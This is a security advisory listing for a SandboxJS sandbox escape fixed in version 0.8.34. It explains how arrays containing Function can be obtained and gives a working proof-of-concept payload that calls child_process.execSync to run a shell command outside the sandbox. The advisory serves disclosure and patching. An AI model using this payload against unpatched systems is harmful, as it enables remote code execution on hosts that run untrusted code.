EUVD-2026-276213

fkie_cve-2026-26954

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

GHSA-6r9f-759j-hjgv — SandboxJS affected by a Sandbox Escape

Affected: npm: @nyariv/sandboxjs

### Summary

It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.

### Details

There are various ways to get an array containing `Function`, e.g.

```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ```

Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.

### PoC ```js const s = require('.').default; const sb = new s();

payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `;

sb.compile(payload)().run(); ```

### Impact

Sandbox Escape -> RCE

Most recent entries from all

bdu:2026-04459

EUVD-2026-276213

fkie_cve-2026-26954

GHSA-6r9f-759j-hjgv — SandboxJS affected by a Sandbox Escape